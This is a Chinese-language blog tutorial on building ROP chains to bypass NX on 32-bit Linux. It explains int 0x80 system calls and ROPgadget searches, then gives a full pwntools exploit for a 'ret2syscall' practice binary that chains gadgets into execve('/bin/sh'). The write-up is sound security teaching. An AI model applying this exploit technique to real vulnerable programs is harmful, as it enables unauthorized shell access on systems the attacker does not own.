ROP链的简单构造

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

首先我们想想如果nx是关闭的我们可以通过构造shellcode放入栈中,再转跳的buf上即可执行我们的shellcode。而打开shell的函数是system(“/bin/sh”)或execve(“/bin/sh”)等。那么问题来了,我们这段ShellCode里面并没有system这个函数,是谁实现了“system(“/bin/sh”)”的效果呢。在网上查了一些资料大致就是:
EAX, EBX, ECX, EDX四个寄存器被先后清零,EAX被赋值为0Xb,ECX入栈,“/bin//sh”字符串入栈,并将其首地址赋给了EBX,最后执行完int 80h

int指令的功能是调用系统中断,所以int 80h就是调用128号中断,在32位的linux系统中,该中断被用于呼叫系统调用程序system_call( )。我们知道出于对硬件和操作系统内核的保护,应用程序的代码一般在保护模式下运行。
在这个模式下我们使用的程序和写的代码是没办法访问内核空间的。但是我们显然可以通过调用read( ), write( )之类的函数从键盘读取输入,把其保存在硬盘里的文件中。那么read( ), write( )之类的函数是怎么突破保护模式的管制,成功访问到本该由内核管理的这些硬件呢?
答案就在于int 80h这个中断调用。不同的内核态操作通过给寄存器设置不同的值,再调用同样的指令int 80h,就可以通知内核完成不同的功能。而read( ), write( ), system( )之类的需要内核“帮忙”的函数,就是围绕这条指令加上一些额外参数处理,异常处理等代码封装而成的。32位linux系统的内核一共提供了0~337号共计338种系统调用用以实现不同的功能。
Linux 32位的系统调用时通过int 80h来实现的,eax寄存器中为调用的功能号,ebx、ecx、edx、esi等等寄存器则依次为参数。
以下是一个简单的hello world程序

.section .data
msg:
        .ascii "Hello world!\n"
.section .text
.globl _start
_start:
        movl $4, %eax
        movl $1, %ebx
        movl $msg, %ecx
        movl $13, %edx
        int $0x80
        movl $1, %eax
        movl $0, %ebx
        int $0x80

从 /usr/include/asm/unistd.h中可以看到exit的功能号_NR_exit为1,write(_NR_write)功能号为4,因此第一个int 0x80调用之前eax寄存器值为4,ebx为文件描述符,stdout的文件描述符为1,ecx则为buffer的内存地址,edx为buffer长度。第二个int 0x80之前eax为1表示调用exit,ebx为0表示返回0。

我们常用的:

1. sys_exit
Syntax: int sys_exit(int status)
Source: kernel/exit.c
Action: terminate the current process
Details: status is return code

3. sys_read
Syntax: ssize_t sys_read(unsigned int fd, char * buf, size_t count)
Source: fs/read_write.c
Action: read from a file descriptor
Details:

4. sys_write
Syntax: ssize_t sys_write(unsigned int fd, const char * buf, size_t count)
Source: fs/read_write.c
Action: write to a file descriptor
Details:

11. sys_execve
Syntax: int sys_execve(struct pt_regs regs)
Source: arch/i386/kernel/process.c
Action: execute program
Details:

很容易发现ShellCode中的EAX = 0Xb = 11,EBX = &(“/bin//sh”), ECX = EDX = 0,即执行了sys_execve(“/bin//sh”, 0, 0, 0),通过/bin/sh软链接打开一个shell,所以我们可以在没有system函数的情况下打开shell。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。

比如我们像得到shell可以执行这个函数:execve(“/bin/sh”,NULL,NULL)
那么:其中,该程序是 32 位,所以我们需要使得

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'  //搜寻pop eax 和ret
ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'  //搜寻pop ebx 和ret
ROPgadget --binary rop  --string '/bin/sh'   //还可以找字符串,那当然也可以找system函数如果有的话
ROPgadget --binary rop  --only 'int'   //这个主要找 int 80h这个指令

找到完地址后:

根据以上思路把payload像上面这样构造就好了
实战:ret2syscall这个例子
32位程序

IDA:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

溢出点就没搞步骤了:112个字符,既然没有system还开启了NX 那就用rop吧
因为没有system函数,那么我们就得构造execve的ROP链:
找pop eax ;ret 指令

我们选第二个

找pop ebx;ret指令

这里我们选倒数第5个:

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret //这个直接把另外两个包括了,我们构造的时候注意参数位置即可

找int 80h指令

还有/bin/sh字符串

万事具备!!
构造exp:

from pwn import*

#0x080bb196 : pop eax ; ret

pop_eax_ret = 0x080bb196


#0x080be408 : /bin/sh
binsh_addr = 0x080be408

#0x08049421 : int 0x80



#0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
pop_edx_pop_ecx_pop_ebx_ret = 0x0806eb90

payload = "A"*112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_pop_ecx_pop_ebx_ret) + p32(0) + p32(0) + p32(binsh_addr)  + p32(0x08049421)

sh = process("ret2syscall")

sh.sendline(payload)

sh.interactive()

(系统调用功能好可以参考System Call Number Definition
以及http://asm.sourceforge.net/syscall.html#2
或者 http://syscalls.kernelgrok.com/ 查找(推荐!)

启发:https://zhuanlan.zhihu.com/p/72951960(详细)


  转载请注明: Squarer ROP链的简单构造

 上一篇
StackOverFlow之Ret2ShellCode详解 StackOverFlow之Ret2ShellCode详解
函数调用时栈中的变化 test示例代码:test.c #include <stdio.h> int fun(int a,int b) { return a + b; } int main(int argc, char co
2020-07-02
下一篇 
BLOG BLOG
hexo基本写文章操作:1:在自己本地blog文件夹git bash here 2:在bash中:hexo n “name” 或是直接在_posts中写文章 3:文章中插入图片 语法: ![图片alt](图片
2020-05-23
  目录